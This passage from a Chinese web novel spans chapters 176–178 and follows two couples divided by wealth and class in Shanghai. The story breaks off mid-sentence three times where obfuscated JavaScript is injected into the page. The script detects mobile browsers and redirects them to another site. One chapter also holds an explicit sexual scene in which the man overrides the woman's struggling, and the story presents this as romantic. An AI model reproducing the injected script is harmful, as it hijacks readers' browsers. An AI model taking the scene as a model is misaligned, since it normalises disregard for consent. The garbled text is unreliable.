圣诞节那晚,楚门一中1号教学楼天台上冷风如刀,她找不到星星,抓耳挠腮,谷奕坐在她身边指给她看,轻笑一句“笨死你算了”。 高考结束那天,她喝醉坐在1969冰冷的地板上嚎啕大哭,眼泪糊了一脸,谷奕蹲下来给她擦脸,手劲太大,纸巾擦过的时候她的五官都皱在了一起,像个包子,却还梗着脖子嘴硬说自己没哭。 ……谷奕低下头,看着自己的手。他已经不是当年那个混吃等死张扬乖戾的纨绔子弟二世祖了,他知道世间难寻知己,生命宝贵,时光一去不复返,青春就像握不住的流沙,每一分、每一秒、每一个重要的人都要用尽全力去珍惜。 “楚恒。” “她是我最好的朋友。” 他顿了一下。 “我把她当妹妹。” “如果你们以后出现了任何问题,我一定是她那一边的。” “你懂吗。” 楚恒抬起眸,正对上谷奕沉沉的目光。 谷奕好像从没有过这么认真的神情,他和楚恒两个人面对面说着以后分离之后的站队立场分配,明确地通知他们两人之间接近七年的友情假如一定要和才认识了不到两年的黄怀予之间做一个选择的话,那么这段友情会被谷奕这个当事人毫不犹豫地放弃掉。 出乎意料的,谷奕竟在楚恒那张冷淡的脸上,看到了一个笑。 楚恒嘴角慢慢地勾了起来。 “嗯。这么说,我和你正好相反。” “只要你永远是她那一边的,我和你之间才能继续当朋友。” 谷大少爷皱着眉,把这句话在心里消化了好一会,才不可置信般嗤笑出声。他歪着头,笑着说,“你装什么?又给我来那套?是要比比谁对她更好吗?” 谷奕一边摇头一边笑,“跟你认识这么多年,我还真没看出来,原来你谈上恋爱以后会变成这样。” 两个人看着对方。目光交汇中两人都觉得好像有什么冰封的东西骤然裂开了,对于他们两个人来说,七年已经是最好的印证,好像不用再多说什么了,痛痛快快打了一场也像是把所有的怨气都发泄了出来,话说开了只剩坦荡和透彻。 “走吧。”谷大少爷站起身,插着兜,笑得有点漫不经心,“下楼去找她吧,我估计她现在正在楼下吃蟹黄面呢。” * 苏琬接到了一个电话。 没有备注,是一串陌生号码。 但是,她见过这串号码——在那天,易南希笑着递给她的名片上。 易南希在电话里说了一个地址,说三小时后在这里等她。 苏琬挂断电话,走出了胜家酒店。 出租车一路行驶,窗外景色越来越荒凉,竟然已经慢慢出现山地和丘陵。山上蜿蜒起伏着土黄色的盘山公路,这是一个巨大的盘山公路赛车场,门口停着十几辆豪车。 出租车司机只是伸出脖子望了一眼就赶紧踩油门走了,有钱人的地界,私人领地意识很强烈,赶紧躲远点,这不是他一个司机该来的地方。 苏琬没多少犹豫,一步步走了进去。 门还没开就已经听见里面传来音乐声,装潢考究风格复古,她才出现在门口几秒钟就立刻有人出现,脸上虽然带着若有若无的笑但是言行举止都十分冷静且不容置喙,说这里是会员专属,只接纳会员提前预定,几乎没怎么看苏琬一眼就要把她请出去。 苏琬:“我是来找易南希小姐的。” 那人顿了一下,上下打量了一下苏琬,目光停留在她全身价格不超过200块的衣服上好几秒,眼里露出极大的怀疑,嘴角却还是一直带着若有若无的笑,简短地说:“稍等,我去确认一下。” 苏琬又被晾在原地起码三分钟,之后门才打开,一路有人引路,空气里弥漫着淡淡的香薰味和雪茄味混合的味道,她的出现引起大厅里不少人的注目,这里的男男女女都互相认识,有了外人来就会第一个发现。 易南希身姿聘婷地从台球桌上起身,身上的连衣裙面料考究,勾勒出精致的身材曲线,扬起红唇,对苏琬露出一个笑。 “欢迎。” …… 山间寂静无声,户外天幕宽阔,赛车道上一列停着各种各样的顶级赛车,已经有好几个男人换上了赛车服,正站在车前。 而旁边站着好几个面容精致、身材曼妙的女生,皮草短裙高跟鞋,身上的香水味几步之外都可以闻见,正站在赛道边,冲着赛道上的几个男人微笑。 “红色衣服的,是周氏的长子,周远发。他家做餐饮的,和谷奕家有很深的合作关系。” “黑色衣服戴眼镜的,是迈德医药的独生子,Ivan。前几个月刚回国,他家是国内生物医药公司的大头。” “黄色头发的,杨其心,家里从政的,红三代。” “旁边坐在车里的,是绿洲地产家的小儿子,王文清,也喜欢天文,以前经常和谷奕一起看星星,谷奕第一架望远镜就是他送的。” 易南希站在赛道边,左手放在栏杆上,右手拿了一杯香槟,微微摇晃,看着里面透明微黄的液体里慢慢升起气泡。 此时已经接近黄昏,落日慢慢在山间坠下去,把半边天都染成了瑰丽奇幻的亮金色。风微微吹过她鬓边的发丝,易南希似乎看日落出神了,感叹一句,“真美啊。” “这个世界上,也只有落日和星星,是不被任何人所拥有的。” “你看,人和人的区别,比人和狗的区别还大。但是此时此刻,大家同在一片天空下,看到的落日并无任何分别。不论你是路边乞丐,还是亿万富翁,停下脚步望向天边,你都能拥有这十分钟的落日。也只有在这种时候,平等才成为一种可能性。” “可是,落日只有半小时。星星也只有一夜。” “短暂的交集结束之后,你继续当你的人,我继续当我的狗。” 易南希转过头。 “苏琬小姐。你的所有资料我都查过,你和谷奕之间的故事,我也都了解。” “所以,我才感到很惊讶。” “因为你们两个人,就是落日下永远不会有交集的两个人。即使能够短暂地拥有同一片落日,但是太阳终究会坠下山头。” 苏琬目光从落日中收回,然后平静地看着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504668|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏琬家境贫寒,又出落得漂亮,从小到大的冷眼和觊觎她早已承受过太多。读了十二年书,她知道做题的时候最重要的一点就是收集所有条件,摒弃不需要的,明确出题人意图,然后,给出自己的答案。 她面色没有任何难堪,并没有接着易南希的话,只是淡淡地开口: “你是想让我退出,然后你加入吗。” 这话简直称得上直接粗暴,一下子把易南希所有的准备工作全都撕碎了,易南希有些惊讶地看向她冷静的脸,没有想到她会用如此直接的方式应对。 按照易南希人生中为数不多的几次和穷人家的女孩打交道的经验,话说到这份上,这些女孩早就低着头咬着牙流眼泪了,有自尊的会骂易南希用钱侮辱人然后含泪主动退出,务实的会谈条件和价格,拿了钱后离开。 “你有点令我刮目相看。”易南希眯着眼睛说。 “既然如此,那我也直说了。”易南希露出一个笑容,她长相明艳大气,像上世纪末的港星,风情万种。 苏琬那句直接的话看上去像是让易南希也卸下了防备,她查过苏琬的资料,这是一个很聪明努力的女孩,父亲去世,和母亲相依为命,长得漂亮,成绩好,从小城市一路升学考试,高考取得了好成绩,来到省会城市读名校,是经典的普通背景女生的奋斗之路。说实话,易南希很欣赏她。 只是很可惜,两个人之间注定没有这样的友谊存在。 “对,我就是想让你退出。你太穷,谷奕太有钱。我现在会以第三者的身份介入你们之间,逼迫你离开,然后和谷奕结婚,用豪门联姻来把胜家绑定成生意伙伴,挽救一下我家的生意。” 苏琬直视着易南希的脸,听着她这番直接到不能再直接的话,竟然慢慢露出一个很浅的笑。 “明白了。”她点点头。 “……”易南希听着她那波澜不惊的语气,莫名其妙噎了一下。不过她也很快理解,苏琬和谷奕之间的爱情故事其实非常纯洁,感情很深,易南希早就明白,苏琬不会这么轻易被说服。 ——“哟,哪来的美女?生面孔啊。” 旁边突然传来一道吊儿郎当的浪荡声音,苏琬循声,看见一个身材微胖的男人正撑着栏杆,站在她身边,一双绿豆大小的眼睛直勾勾地打量她。 苏琬还没来得及反应,下一秒就被左边的易南希往后拉了一下。易南希几步走到她面前,挡住了那男人投射过来的略带猥琐的目光,眉头只皱了一秒钟就立刻条件发射地放松开,脸上绽放出毫无破绽的招牌微笑。 “杨总,这是我表妹,来找我的。” “哦。表妹啊。”那男人一顿,脸上露出明显的可惜表情,“还以为是个小明星……”他挥挥手,离开了。 周围再次只剩下她们两人。比赛终于开始,赛车一个个风驰电掣般冲了出去,溅起灰黄色的尘土,引擎声响彻天边。 易南希自嘲般冷笑了一声。 “你也看见了,这个圈子里的男人都是这样。” 苏琬抬起头,看着她,“那你还要选择和这个圈子里的男人结婚吗?” 易南希愣了一下,这个问题似乎把她都问懵了,苏琬的逻辑太纯粹了,而且苏琬是站在易南希的角度来发问的,就好像易南希是她的朋友,她想为朋友排忧解难。 既然没有好男人,为什么还要和这个圈子里的男人结婚?对啊,如此复杂的豪门联姻好像一下子变得像一加一等于二那样简单。 易南希露出一个有点看不清情绪的笑,不知道是否是在笑自己,“对啊。” “我没有选择。嫁给爱情?比豪门联姻还要愚蠢。爱情?这个世界上哪有爱情?起码钱是实实在在的。” “没钱的巴结有钱的,有钱的巴结有势的,这个圈子就是这样。下层男人是上层男人的玩物,下层女人是下层男人的玩物,你玩我,他玩你,一层一层就这么压下来。爱情?平等的人之间才能有爱情。对于身处高位的男人来说,他们拥有的性资源简直是多如牛毛,出轨算什么,包养算什么,和妻子恩爱也不影响私生子遍地跑。” “我可以选吗?我是个女人,我如何选?弟弟从小就被当作继承人培养,而我就算再优秀却早就被排除在继承者之外,被父母告知你的任务就是用你的婚姻给家族生意做垫脚石。放弃自我人格,去把找一门好婚事作为我的人生目标,这就是我的人生,我没有选择。” 赛车引擎的轰鸣声像是慢慢要把两个人湮没在漫天幻境里,所有车全部已经冲到了看也看不见的地方,旁边那几个穿着皮草短裙高跟鞋的美女也坐了下来,脸上的微笑迅速消失,头也不抬地划手机。 落日已经坠下去大半,只剩一小弯金盘,天边云朵灿若玫瑰。 易南希脸上好像流过几滴泪,她不经意间用手指擦掉,盯着远方的落日。 “苏琬。当你坐在考场里,一笔一划写下你的名字的时候,你会不会觉得你非常自由?就像一只雌鹰,天边辽阔,未来宽广,任你飞翔。” 她笑着讲了一句很欠揍很凡尔赛的话,像是在开玩笑,又好像藏着几分真心。 “你去飞你的吧。至于嫁入豪门,只有钱没有爱的这种悲惨生活,还是让我来体验吧。” 177. 第 177 章 易南希让司机把苏琬送回了城区。 到了地方,苏琬下车,远远地就看见马路前方,停着一辆黑色的宾利。 谷奕正站在路边,靠着车门,抱着胸,似乎正在等人。 他身材高大,穿着一件飞行员夹克,衬得宽肩窄腰腿长。侧脸线条流畅,轮廓立体,寸头短簇,额角还贴着一块白色敷料,给他整个人添了几分痞气。 路边不断有人看他。因为他真的很显眼,就像易南希说的那样,不仅是名牌豪车,他从小养尊处优,就算天天打架的叛逆青春期,身上也总有一股天不怕地不怕、不把任何人放在眼里的无所谓的气定神闲,这种感觉已经足够令他鹤立鸡群。 苏琬站在他后面不远处,静静地看着他的身影。 谷奕转头,一下子看见了身后的她,面无表情的脸上马上松动下来,挑挑眉,冲她露出一个有点玩世不恭的笑。 他迈开长腿,朝她一步步走过来。 苏琬眼前好像突然起了白雾,她似乎看见楚门一中301班那个19岁的问题少年谷奕,正朝她笑着跑过来,风吹过他的额发,白色的衣衫随风飘扬。 那个时候,他是她的同学,两个人在楚门住一样的寝室,穿着一样的校服,上一样的课,考一样的试。他成绩差,只能努力以她为标杆和榜样,在深夜和清晨一点点背着枯燥的单词,写着山一样多的卷子。 现在,他是她的恋人,在魔都开着豪车,住着豪华酒店,一行所有人都叫他少爷,他想做的事就没有办不到的,无数人给他点头哈腰,豪门子弟自成圈层。 19岁的谷奕,和21岁的谷奕,两张一模一样的脸,就这样重合在一起。 “怎么了?”谷奕几步跑到她面前,刚扬起的唇角却瞬间僵硬起来,目光触及苏琬一滴一滴流下来的眼泪,一下子变得极其慌乱,手忙脚乱地伸出手指给苏琬轻轻地擦眼泪。 “发生什么了?刚刚去哪里了?” “别哭,苏琬。看我。抱一下吧。” “别哭了,你,看你流眼泪我的心揪着疼……刚刚发生什么了,可以跟我说吗?” “抱一会,别哭,对不起,不管刚刚发生了什么事情,我应该陪着你的。对不起。” 苏琬想说什么,却一句话也说不出来。鼻子酸涩得难受,像是被什么东西一团糊住,心乱如麻,眼泪一滴滴往下落,滚烫地滴在谷奕的手上,又慢慢打湿了她的衣领。 谷奕擦了又擦却怎么也擦不完,眼前女孩的泪像是断线的珍珠般往下砸,他只觉得心都变得空落落的,像是被人攥住一般疼,只能软着声音,反复重复着: “对不起,我应该陪着你的,对不起。可以告诉我吗,可以告诉我到底发生了什么吗?这段时间以来你好像一直很累,你心里是怎么想的,可以让我知道吗?” 泪水模糊了苏琬的眼睛,她张了张嘴。 她想告诉他,我们之间差距太大,我们真的不合适。 她想告诉他,不合适的人在一起,就像钝刀子割肉,一层一层刮下来,她真的好疼。明明他没有错,她也没有错,两人的爱情故事里没有任何反派,谁都没有错,可是乱七八糟的重重叠叠的小事聚集在一起终究也会水滴石穿,她在反反复复受着凌迟的酷刑。 她想告诉他,为什么他要道歉?他根本就不用道歉,他为自己解决杨天奇的跟踪,为自己解决网络暴力的侵扰,遇见第三者的时候坚定所有立场表示绝无可能,把所有信任和主动权都交给她,即使受了委屈也从不在她面前冷战发脾气。他是最好的男友,他永远也不用道歉,可是事情却好像莫名其妙就到了这一步。 眼泪一层一层像是迷雾,遮住了瞳孔,苏琬怎么也看不清谷奕的脸。 她突然踮起脚尖,紧紧抱住了谷奕,埋在他的胸口,闻着他身上的味道。 “谷奕。”情绪像是洪水泄闸,她带着哭腔的颤抖的声音从他胸前夹克里传出来,“我喜欢你。” “……”谷奕愣住了。 春夏之际,魔都的晚风带着湿润的水气,街头路灯骤然亮起暗黄的光线,一路星星点点像是坠落的星辰,点亮这个城市,也惊起街道上无数人的目光。 这个城市太大太繁华,两千万人在这里繁衍生活,外滩18号的建筑像是来自异世界一般美丽,被修复后的古希腊大理石柱被灯光照成珠光宝气的名利场。 呼吸都在哭泣里变得不顺畅,鼻间被谷奕身上的味道充斥,苏琬闭上眼。 明明抱他这么紧,心却痛得像是撕成了两半。 这是自虐吗?一贯的冷静机敏、温和从容好像都慢慢失去了控制权,好痛啊,苏琬在魔都盛大璀璨的夜晚里寻求着像那夜的流星雨一样的止痛药,那就让爱神的箭继续麻痹着大脑,让她迷茫地去爱他吧。 谷奕,我喜欢你。 我只是想对你说这句话。 * 大一学期就这样结束了,暑假到了。 黄怀予之前的项目已经顺利结项,拿到了剩下的项目基金,除去研究本身的花费,还有几百块剩余,于是和小组成员们开开心心吃了顿好的。 学院7月份在南省山区里有一个国家级的扶贫研究项目,正好在招本科生去当研究助理,无酬劳但是包吃包住,可提供研究证明。黄怀予想也没想就报名了,跟着徐樱老师一起坐着车踏上了从云省到南省的路。 南方山区里夏天不怎么热,但是环境极其艰苦,山村里所有资源都稀缺。黄怀予在当地呆了二十天,每天早起跟着老师去走访村民做研究记录,然后晚上在电脑面前记录数据。 同行除了徐樱老师还有很多学院里的其他老师,她跟在旁边,做事认真殷勤,时不时问一些专业问题,遇到困难也冷静对待认真补救,有时还给几个教授讲笑话,成功给几位教授都留下了好印象。 甚至还有一个教授在得知她才是大一的时候很是惊讶,说如果她以后有意读博,可以来当他的学生,他一定会收。 徐樱老师在一旁凉兮兮地说:“张老师,这可是我的学生。”成功把话题引开了,几位老师说说笑笑结束了闲聊。 等到四下无人的时候,黄怀予才走到徐樱面前,笑嘻嘻地问:“老师,那以后我来读你的博士可以吗?” “小屁孩,你以为读博士说读就读了。”徐樱看她一眼,语气轻飘飘的,“等你大三大四想好再说吧。或者等你读到硕士再考虑吧。” “现在,你才只看到学术的美好一面,剩下的一面你还没有完全认识清楚。读博没有太多回头路,毕不了业比谁都痛苦,沉没成本太高,压力一大,跳楼的多了去了。” 徐樱帮黄怀予翻翻衣领,望向远方青黛一片的山,轻声说:“作为你的本科老师,我只希望这门学科和大学本科四年,能给你留下一个美好的回忆。这就已经是很好的结局了。” * 在山里失联了二十天,黄怀予终于坐上了返程的大巴,背着书包晃晃悠悠踏上了市区的地面。 一打开微信,消息几乎指数级增长地蹦出来。她一个个回复,没过多久楚恒电话就打了过来。他说机票已经给她买好,下了飞机之后机场有人接,让她直接去帝都他家里等他。 “等你干嘛?你又不在家。”黄怀予明知故问。楚恒最近工作很忙,现在估计还在外面工作。 对面一顿,叹了口气,对她的明知故问选择无奈回应,“你先去,明天我就回去了。” “那我还想回自己家呢,好不容易放暑假了,我都没回过楚门。” “……”话筒那头轻轻地哼笑一声,声音低沉清润,“二十天没见了,很想你,宝宝。” 黄怀予脸一下子就红了,“你叫谁呢!” “宝宝,你知道我叫谁。” “想见你,想明天一回家就见到你在我家里。好吗?宝宝。” “……”黄怀予咬着牙直接把电话手忙脚乱地挂了,然后点开微信,重重地打字,“你!” “嗯。我在呢。”对面很快回了条语音,声音里似乎都带着笑意,“明天见。宝宝。” …… 黄怀予一上飞机就猛睡,下了飞机之后果然一到出口远远就看见有人举着她的名字的牌子。走过去,发现是一个很年轻的男生,他说自己是楚恒的助理,紧接着就带着她上了车。 车一路行驶,黄怀予看着周围,发现周围好像都是高级住宅,这里已经不是去年暑假的时候楚恒住的那个地方了,自从他从《光芒之下》出来一夜爆火后,收入也是实打实地增长了非常多。 小区门口门禁非常严格,环境清幽高级,门口是密码锁,进去之后家里宽敞明亮,装修别致,一整个高级豪宅。 黄怀予喜滋滋地扔了行李箱,趴在客厅巨大柔软的沙发上,这就叫山中无老虎猴子称霸王,她拍了张照给楚恒,“你的房子是我的了!” 对面过了不久回复,“我的一切都是你的。” 洗完澡睡了一觉起来已是第二天,黄怀予叫了外卖,捧着半个冰西瓜,坐在客厅地板上看电视剧。 到了晚上,她洗完澡躺在卧室柔软的大床上,手里拿着电视遥控器,有一搭没一搭地换着台。 她翘起二郎腿,鼻间全是洗完澡后沐浴露的香气,整个人陷进干净柔软的床单里,感觉下一秒要睡着了。 ——楚恒家的高级床垫真舒服! 她脚尖晃来晃去,头发散开,慢慢就要完全闭上眼睛。 突然,她听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14511590|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见房间外传来脚步声,似乎还有行李箱的轮子拖动时的声音。 嗯? 他回来了? 黄怀予立刻清醒,睁开眼睛,还没坐起身,下一秒就在门口看见了那个熟悉的黑色身影。 楚恒站在房间门口,逆着光站着,穿一身黑色长款薄外套,整个人高瘦挺拔。 他动作有些急,一进房门就直接盯着床上的黄怀予,右手放开行李箱,有些烦躁地松开领带,极其迅速地把身上的外套脱掉,扔在了地上,迈开步伐就直直地朝黄怀予走过来。 “你回来了……啊!” 楚恒跪在床边,两只大手捏住她的小腿,一用力就把两条腿全部都拉了过去,黄怀予惊叫一声,整个人都被他拖了过去。 两条腿被他双手强硬分开,本来可以盖住膝盖的睡裙因为腿部抬起的动作而直接滑落到了大腿/根部,黄怀予还没反应过来,就感觉下半身一凉,再一看,内裤已经到了脚踝处。 黄怀予瞪大眼睛,眼睁睁看着身上这人强力压下她所有挣扎,把头埋了下去。 “啊!” 黄怀予被下/身突如其来的刺/激弄得发抖。 “楚恒!” “你干嘛!!” 那人似乎终于从她的喊声中听出了一丝愤怒,慢慢停了动作。 黄怀予的视角只能看见他缓缓从大/腿间抬起头来,那双眼睛里燃着火一般的欲/望和渴/求,盯得黄怀予脸发烫。 “先让我/舔/一会。” 只留下这句哑得可怕的话,他再次有些急切地低下头去。 “你……!!给我滚去洗澡!!” 黄怀予上半身起起伏伏瘫在床上,气得恨不得一脚踹死他,“穿着外面的衣服不能碰到床!” 他听见这话,似乎是轻笑了一声,炙热的呼吸喷在她皮肤上,激得她整个人一缩。 “我回来洗过手了。” “没有碰到床,我现在跪着。” 黄怀予这才感觉到,抓住她两条腿的那两只大手似乎确实冰冰凉凉,还沾着潮湿的没擦干的水气。 再一看,自己整个下半身都被他拉到床边,他一米八几的个子就那样跪在床边,确实极其乖顺地没有碰到床单。 “……”她没话说了。 楚恒看见她呆滞的表情,又是一声轻笑,一边埋下身去,眼睛一边直勾勾地盯着她的脸,像是不想放过她一分一秒的表情变化。 “你,你……慢点……” 声音越来越软,呼吸越来越急促,黄怀予“你”了半天,喘着气,又什么也说不出来,整个人晕晕乎乎,脑子一片空白。 …… 她躺在床上,眼里泛出泪花,像一只搁浅的鱼。 身上那人似乎站了起来,随后耳畔传来温热黏糊的呼吸声。 楚恒俯身在她耳边轻轻地说: “这么快?” 他声音很是愉悦。 “看来你很想我。” “……”黄怀予忍无可忍,抬起右脚直接用力踹到他的脸上,“闭嘴!” 她生着气,右脚用了一些力气,“啪”地一声,楚恒的脸被她的脚踹得往旁边偏了些许。 他又回过头来盯着她的脸,右手极其迅速地抓住还没来得及从他脸上撤下来的白皙细嫩的脚,手指摩挲了一下,带着不容拒绝的力气慢慢放到了唇边,然后伸出舌头/舔/了一下。 “!”黄怀予瞪大眼睛,“卧槽,你真是个变态!” “嗯。” 他应得很是随意,不管她双腿死命地挣扎,稳稳地固定住了她的脚在嘴边,细细密密地吻。 “要喝水吗。” “等会估计你会渴。” 黄怀予脚被他牢牢抓着根本收不回来,只能喘着气,把头撇向一边。 “不用你管!” 他往旁边扫了一眼,正好看见床头柜上有半杯水,是黄怀予之前洗完澡给自己倒的。 他弯下腰拿起来,把她扶起来,一小口一小口地喂着。 “……”她仰头喝了几口,脸上红晕未消,见他表情认真,喂自己的动作温柔,眉间似乎还有熬夜工作的疲惫,一下子火气也慢慢没了。 “你也喝点吧。”她别别扭扭地说,又张牙舞爪地威胁他,“我不是在关心你!” 头顶落下一声笑。 “好。” 他把杯子放了回去,重新回来捏住她的腿。 “谢谢宝宝的关心。” “不过我不渴。” 他弯腰把她抱了起来,走向卫生间,脸上带着明显的笑意。 “刚刚已经喝过了。” ? “楚恒!!!” 178. 第 178 章 暑假七月份,苏琬留在了魔都。 她住进了谷奕家在郊外的别墅。 这是他家在魔都一处住得比较多的房产。谷玉常年不在家,基本上都住公司附近的一处高级公寓,而谷奕自从2017年去了楚门以后就再也没回来过。然而就算是这么久时间都没人住,整栋别墅也都窗明几净,时刻有佣人和保姆打扫,所有地方也都一尘不染。 谷奕牵着苏琬的手走了进去,迎面就立刻走过来一位保姆阿姨。阿姨看见谷奕回来满脸高兴,然而脸上的笑容却在看见苏琬以及两人紧牵的手的那一瞬间有些凝结了。 他向保姆阿姨介绍了苏琬是他女朋友,会在家里住一段时间,让阿姨可以开始准备饭菜了,结果刚想一起进去,就被谷玉一个电话叫了出去,于是说自己晚上就会回来,随后就匆匆出了门。 客厅里只剩阿姨和苏琬两人,阿姨的脸一下子平静了下来,上下打量了一下苏琬,随后说:“既然是少爷的朋友,那就跟我过来吧。” 她用了“朋友”这个词来形容苏琬,苏琬动作顿了一下,脸上表情未变,心里却已经敏锐地意识到了什么。 …… 到了午饭时间,下楼之后,桌上摆着丰盛的饭菜。谷奕之前说晚上才会回来,所以这一大桌饭菜全都是给苏琬一个人的。 她坐下,视线扫过眼前的菜,却已经发现了不对劲。桌上的菜虽然多,但是每一道菜几乎都给了很多辣椒,荤菜就不必说,就连干锅花菜这样的素菜都加了红红的辣椒,一眼望过去几乎没有口味清淡的人能吃的菜。 ——而据她所知,谷奕是一点辣椒都不吃的,完全的浓油赤酱甜口。 苏琬的妈妈苏明以前就当过住家保姆,所以苏琬再清楚不过,在主顾家里做菜一定是要合乎主顾口味,更别说谷奕家里这样的有钱人,厨师佣人更应该早就习惯做甜口的东西。 “苏琬小姐是哪里人啊?”身后传来阿姨的声音,她换了一身衣服出来,脸上带着笑,径直走过来,直接坐到苏琬旁边的椅子上,浑身上下俨然一副主人的气场,“不知道你吃不吃得惯这些菜。” “云省人。”苏琬回答道。 “哦,云省,小地方。来魔都大城市看一看,对吧?” “所以苏小姐父母也都在云省吧?家里是做什么生意的?” 她给苏琬盛了一碗饭过来,“快吃呀,怎么不吃?是不是不合苏琬小姐口味?” 称不上友善的问题一个接一个地砸过来,苏琬垂下眸,露出一个意义不明的笑,然后抬头接过她递过来的饭。 “不,正好,我就喜欢吃辣的。” 这话一出,苏琬明显感觉到阿姨脸上的笑容似乎僵硬一瞬,“哦,这么巧。那正好呀,正好呀。你吃吧。” 直到看着苏琬面不改色吃下红彤彤的辣菜,阿姨才终于移开视线,“苏小姐你先吃着啊,我失陪了。”随后站起身走了。 阿姨离开以后,周围再次只有苏琬一个人。大大的空荡的房间衬得她整个人的背影有些瘦弱孤寂。 努力吃了一些,却实在没有什么胃口,苏琬勉强着把那碗饭吃完了,她想着到别人家做客,人家给自己盛的饭是一定要吃完的,这是她妈妈从小教她的礼貌。 吃完饭,谷奕也依然没有回来,偌大的房子她没有任何熟悉的人,也不知道应该做什么,于是干脆出门在周边逛逛。 谷奕家别墅真的好大,背后还有一个很大的院子,简直像一个小庄园,种满花花草草,金鱼和锦鲤在池塘里被喂得肥肥胖胖,一看见岸边有苏琬的影子立刻游过来。她坐在一个白色的秋千上,午后的阳光温和,周围绿叶围绕花团锦簇,她觉得十分惬意。 突然,身后似乎传来一些窸窸簌簌的讨论声。拐角处,几个佣人一边浇花,一边小声议论:“真的假的?少爷带女孩子回来了?” “不可能吧,少爷这么多年从来不带人回来,他一直都是单身呢。” “哪家的小姐啊?是辛桐小姐吗?” “什么哪家的小姐!就是一个云省的普通家庭的女孩!少爷去了云省读了一年书,不知道被那姑娘迷成什么样了,国外也不去了,甚至连魔都也不回了,居然就甘愿填了江城一个大学的志愿,在江城读四年大学!” “那姑娘长什么样?” “我之前瞄了一眼,确实挺漂亮的,白白瘦瘦的,眼睛大大的,穿得便宜但是挺有气质的。” “废话,不漂亮那不是连最基本的优点都没了?少爷这条件要找什么样的找不到?难道还会纡尊降贵找长相普通的?” “切。心比天高,命比纸薄。真以为自己麻雀飞上枝头能变凤凰?也就是少爷单纯,谁不知道她靠近少爷是另有所图。” “嘘,小点声,小心别被听见了,人家小姑娘正做着嫁进豪门的美梦呢!哈哈哈哈。” 苏琬坐在秋千上,晃动的幅度慢慢变小,直至完全停在原地。 似乎是有一盆冷水迎面浇过来,她好像终于无法再欺骗自己或者为之前阿姨的做法寻找其他任何理由,因为刚刚这些对话已经能表明一切。 她沉默着低下头,看着脚边柔软的嫩绿色草地。廉价的杂牌运动鞋被刷得图案几乎褪色,略有不安地踩在昂贵的草皮上,又沉闷着并拢,缩成一团。 好美的花园,阳光温和,风也和煦,是不是就连魔都的太阳都比楚门的漂亮,就连魔都的风都比楚门的要舒服?这个念头猛地冒出来的时候,连苏琬自己都怔住了。 …… 又过了一两周。谷奕带着她走过了谷奕以前的小学和初中,看过了外滩的夜色,去了朱家角划船,走过街角的咖啡店。这座城市是他从小生长的城市,他和以前的老街坊讲着她完全听不懂的魔都话,带她看一切繁华和热闹,也像是要把两人之间的遥远距离一点点拉近、一点点带她走进他的世界。 8月1日是谷奕的21岁生日。 谷玉在七月底的时候就告诉谷奕,7月31号晚上有酒会,是胜家集团和绿洲地产之间达成了业务上合作的庆祝酒会。谷奕本来完全没兴趣,一向都是不想去这种场合,但是谷玉说第二天是你生日,也算是以你的名头办的聚会,你不去不合适。 谷奕大喇喇躺在沙发上,眉宇间满是烦躁,“我去了苏琬那天晚上怎么办?我过生日当然要和她一起过了。” “没说你不能和她一起过生日。”谷玉语气平淡,“你和她一起去。” “真的?”谷奕一下子坐了起来,纠结地想了想,“她可能不愿意去吧,这种场合她没接触过,去了会紧张的,也不自在。” 谷玉摇摇头。 “你不是她,不要替她做决定。” “而且……” 谷玉是一个人白手打拼到现在才有今天的成就,她也是经历过贫与富的两个极端,很多事情她的傻儿子看不出来,但是她却看一眼就能明白。 她叹口气,平静地说:“我也建议她去亲身体验一下。” * 苏琬在专业造型师手下做了接近两小时的造型。 她穿着一件纯白色的昂贵的绸缎长裙,衬得整个人面色明亮,一双明眸像是沾着露珠的白蔷薇;黑发挽了上去,露出纤细修长的脖颈,细高跟不是太高,却极有气质,行走的时候微微露出脚踝,像是一阵淡淡流动的风。 走出去的时候,看见谷奕正在外面等。 他好像等过她很多次,以前在楚门一中的时候在寝室楼下等她一起上学,家教下课后等她一起回望湖山庄,恋爱后在校门口接她去约会……苏琬记忆里总是有这样的一幕,他高大的身影站在那里,明明是个脾气不怎么好的人,等她的时候却总是连手机都不会玩,只是站在那里安安静静地等,等再久都没有怨言。 他今天穿了白衬衫加黑色西装裤,剪裁得体,熨烫妥帖,完美衬出他衣服架子般的身材。 深蓝色领带绣着精致的暗纹,宽肩窄腰长腿,黑色皮鞋锃光发亮,袖口却随意地挽起,露出昂贵的腕表和小臂明显的肌肉线条,青筋凸起蜿蜒,一直延伸到衣服深处。 看见她的那一瞬间,谷奕愣怔了两秒,长眸里闪过惊艳和浓重的爱意,快步走上前,宽大的掌心牵起她的手,低头,勾起嘴角,“很漂亮。” “哎呀!少爷和小姐真是一对璧人,太般配了!”周围几位造型师连连称赞,苏琬耳尖有些红,被他牵着,一步步走上了车。 酒会现场,大厅宽敞明亮,地上红地毯柔软干净,一长列白色长桌上摆满精致的甜点和堆成小山的香槟,女性优雅礼服,男性西装革履,三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 